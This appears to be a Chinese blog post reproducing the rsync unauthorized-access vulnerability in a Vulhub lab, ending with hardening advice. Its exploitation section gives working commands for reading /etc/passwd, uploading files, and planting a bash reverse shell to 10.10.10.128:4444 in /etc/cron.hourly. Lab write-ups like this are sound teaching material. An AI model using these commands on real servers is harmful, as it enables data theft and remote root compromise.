当前位置 博文首页 > 文章内容

    【Vulhub】Rsync未授权访问漏洞复现

    作者: 栏目:未分类 时间:2020-09-11 10:02:06

    本站于2023年9月4日。收到“大连君*****咨询有限公司”通知
    说我们IIS7站长博客,有一篇博文用了他们的图片。
    要求我们给他们一张图片6000元。要不然法院告我们

    为避免不必要的麻烦,IIS7站长博客,全站内容图片下架、并积极应诉
    博文内容全部不再显示,请需要相关资讯的站长朋友到必应搜索。谢谢!

    另祝:版权碰瓷诈骗团伙,早日弃暗投明。

    相关新闻:借版权之名、行诈骗之实,周某因犯诈骗罪被判处有期徒刑十一年六个月

    叹!百花齐放的时代,渐行渐远!



    Rsync未授权访问

    Rsync简介

    rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。 rsync是用 “rsync 算法”提供了一个客户机和远程文件服务器的文件同步的快速方法,而且可以通过ssh方式来传输文件,这样其保密性也非常好

    Rsync配置文件&常见配置项

    默认配置文件路径:/etc/rsync.conf

    默认端口:873

    motd file -> motd文件位置
    log file -> 日志文件位置
    path -> 默认路径位置
    use chroot -> 是否限定在该目录下,默认为true,当有软连接时,需要改为fasle,如果为true就限定为模块默认目录
    read only -> 只读配置(yes or no)
    list=true -> 是否可以列出模块名
    uid = root -> 传输使用的用户名
    gid = root -> 传输使用的用户组
    auth users -> 认证用户名
    secrets file=/etc/rsyncd.passwd -> 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400,密码文件/etc/rsyncd.passwd的内容格式为:username:password
    hosts allow=192.168.0.101  -> 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开
    hosts deny 禁止的主机,host的两项可以使用*表任意。
    

    Rsync基本命令

    命令:
    
    Rsync [-avrlptgoD] [-e ssh] [user@hostIP:/dir] [/local/path]
    
    -v 观察模式,输出更多资讯
    
    -q 与 –v 相反,仅显示错误信息
    
    -r 递归复制,针对目录
    
    -u 仅更新较新的文件
    
    -l 复制连接的属性
    
    -p 复制时保持属性不变
    
    -g 保存原有群组
    
    -o 保存原有拥有人
    
    -D 保存原有装置属性
    
    -t 保存原有时间属性
    
    -I 忽略更新时间属性,档案比对较快
    
    -z 加上压缩参数
    
    -e 使用协议通道,例如ssh,-e ssh
    
    -a 相对于-rlptgoD,所以-a最常用
    

    漏洞利用

    连接&&读取文件

    rsync rsync://192.168.124.153:873/

    rsync rsync://192.168.124.153:873/src/

    root@kali:/# rsync rsync://192.168.124.153:873/
    src             src path
    root@kali:/# rsync rsync://192.168.124.153:873/src/
    drwxr-xr-x          4,096 2020/09/09 11:22:20 .
    -rwxr-xr-x              0 2020/09/09 11:22:20 .dockerenv
    -rwxr-xr-x            101 2020/07/26 18:13:18 docker-entrypoint.sh
    drwxr-xr-x          4,096 2018/01/22 02:42:04 bin
    drwxr-xr-x          4,096 2017/07/13 21:01:05 boot
    drwxr-xr-x          4,096 2020/09/09 11:22:19 data
    drwxr-xr-x            340 2020/09/09 22:48:04 dev
    drwxr-xr-x          4,096 2020/09/09 22:52:12 etc
    drwxr-xr-x          4,096 2017/07/13 21:01:05 home
    drwxr-xr-x          4,096 2018/01/22 02:42:05 lib
    drwxr-xr-x          4,096 2017/10/09 08:00:00 lib64
    drwxr-xr-x          4,096 2017/10/09 08:00:00 media
    drwxr-xr-x          4,096 2017/10/09 08:00:00 mnt
    drwxr-xr-x          4,096 2017/10/09 08:00:00 opt
    dr-xr-xr-x              0 2020/09/09 22:48:04 proc
    drwx------          4,096 2020/09/09 23:05:08 root
    drwxr-xr-x          4,096 2020/09/09 23:08:14 run
    drwxr-xr-x          4,096 2017/10/09 08:00:00 sbin
    drwxr-xr-x          4,096 2017/10/09 08:00:00 srv
    dr-xr-xr-x              0 2020/09/09 22:48:04 sys
    drwxrwxrwt          4,096 2020/09/09 22:48:33 tmp
    drwxr-xr-x          4,096 2017/10/09 08:00:00 usr
    drwxr-xr-x          4,096 2017/10/09 08:00:00 var
    root@kali:/# rsync rsync://192.168.124.153:873/src/
    drwxr-xr-x          4,096 2020/09/09 11:22:20 .
    -rwxr-xr-x              0 2020/09/09 11:22:20 .dockerenv
    -rwxr-xr-x            101 2020/07/26 18:13:18 docker-entrypoint.sh
    drwxr-xr-x          4,096 2018/01/22 02:42:04 bin
    drwxr-xr-x          4,096 2017/07/13 21:01:05 boot
    drwxr-xr-x          4,096 2020/09/09 11:22:19 data
    drwxr-xr-x            340 2020/09/09 22:48:04 dev
    drwxr-xr-x          4,096 2020/09/09 22:52:12 etc
    drwxr-xr-x          4,096 2017/07/13 21:01:05 home
    drwxr-xr-x          4,096 2018/01/22 02:42:05 lib
    drwxr-xr-x          4,096 2017/10/09 08:00:00 lib64
    drwxr-xr-x          4,096 2017/10/09 08:00:00 media
    drwxr-xr-x          4,096 2017/10/09 08:00:00 mnt
    drwxr-xr-x          4,096 2017/10/09 08:00:00 opt
    dr-xr-xr-x              0 2020/09/09 22:48:04 proc
    drwx------          4,096 2020/09/09 23:05:08 root
    drwxr-xr-x          4,096 2020/09/09 23:08:14 run
    drwxr-xr-x          4,096 2017/10/09 08:00:00 sbin
    drwxr-xr-x          4,096 2017/10/09 08:00:00 srv
    dr-xr-xr-x              0 2020/09/09 22:48:04 sys
    drwxrwxrwt          4,096 2020/09/09 22:48:33 tmp
    drwxr-xr-x          4,096 2017/10/09 08:00:00 usr
    drwxr-xr-x          4,096 2017/10/09 08:00:00 var
    

    image-20200909231348629

    下载文件

    下载etc/passwd:

    命令格式:rsync rsync://IP:port/src/etc/passwd 目标路径
    例如:
    rsync rsync://192.168.124.153:873/src/etc/passwd /tmp/tmp/
    
    root@kali:/# cat /tmp/tmp/passwd 
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
    systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
    systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
    systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
    

    image-20200909231716162

    上传文件

    如果有相应的jsp/asp/php环境可以写一句话

    下面以phpinfo为例

    攻击机:

    root@kali:/# echo "<?php phpinfo()  ?>" > phpinfo.php
    root@kali:/# cat ./phpinfo.php 
    <?php phpinfo()  ?>
    root@kali:/# rsync ./phpinfo.php rsync://192.168.124.153:873/src/home/
    

    靶机:

    root@4448da0725bd:/# ls
    bin   data  docker-entrypoint.sh  home	lib64  mnt  proc  run	srv  tmp  var
    boot  dev   etc			  lib	media  opt  root  sbin	sys  usr
    root@4448da0725bd:/# cd home/
    root@4448da0725bd:/home# ls
    phpinfo.php
    root@4448da0725bd:/home# cat phpinfo.php 
    <?php phpinfo()  ?>
    

    image-20200909232803343

    反弹shell

    网上只看到了利用定时任务cron反弹shell

    1.先查看定时任务

    root@kali:/# rsync rsync://192.168.124.153:873/src/etc/crontab
    -rw-r--r--            722 2019/03/22 03:45:10 crontab
    

    2.将定时任务文件下载下来

    rsync rsync://192.168.124.153/src/etc/crontab /tmp/tmp/crontab.txt
    

    我的内容为:

    # /etc/crontab: system-wide crontab
    # Unlike any other crontab you don't have to run the `crontab'
    # command to install the new version when you edit this file
    # and files in /etc/cron.d. These files also have username fields,
    # that none of the other crontabs do.
    
    SHELL=/bin/sh
    PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
    
    # m h dom mon dow user  command
    17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
    25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
    47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
    52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
    #
    

    大致意思为每17分钟调用一次/etc/cron.hourly

    创建shell文件

    #!/bin/bash
    /bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1
    

    授权shell文件

    chmod 777 shell
    

    上传shell文件至靶机

    root@kali:/# rsync -av /tmp/tmp/shell rsync://192.168.124.153:873/src/etc/cron.hourly
    sending incremental file list
    shell
    
    sent 154 bytes  received 35 bytes  18.00 bytes/sec
    total size is 63  speedup is 0.33
    

    image-20200909234855838

    攻击机开启nc监听相应端口

    nc -lvp 4444
    

    安全配置&&修复建议

    配置认证用户名或者密码
    host allow/deny 来控制接入源IP
    uid和gid,使用足够但最小权限的账号进行
    必要时候可以配置只读
    非必要应该仅限制配置路径下可访问
    

    1.修改指定端口

    配置文件不存在修改指定端口的选项,可以在启动命令行通过参数指定

    /usr/local/rsync/bin.rsync --port=878 --daemon
    

    查看进程检测是否更改端口

    ps -ef | grep rsync
    

    2.禁止匿名访问

    配置文件/etc/rsync.conf中增加 auth users = test

    若未包含auth users即为匿名访问

    参考文章

    https://www.jianshu.com/p/85e368193dc2

    https://www.cnblogs.com/KevinGeorge/p/9648028.html

    https://www.cnblogs.com/leixiao-/p/10227086.html

    https://paper.seebug.org/category/404team/

    http://www.91ri.org/11093.html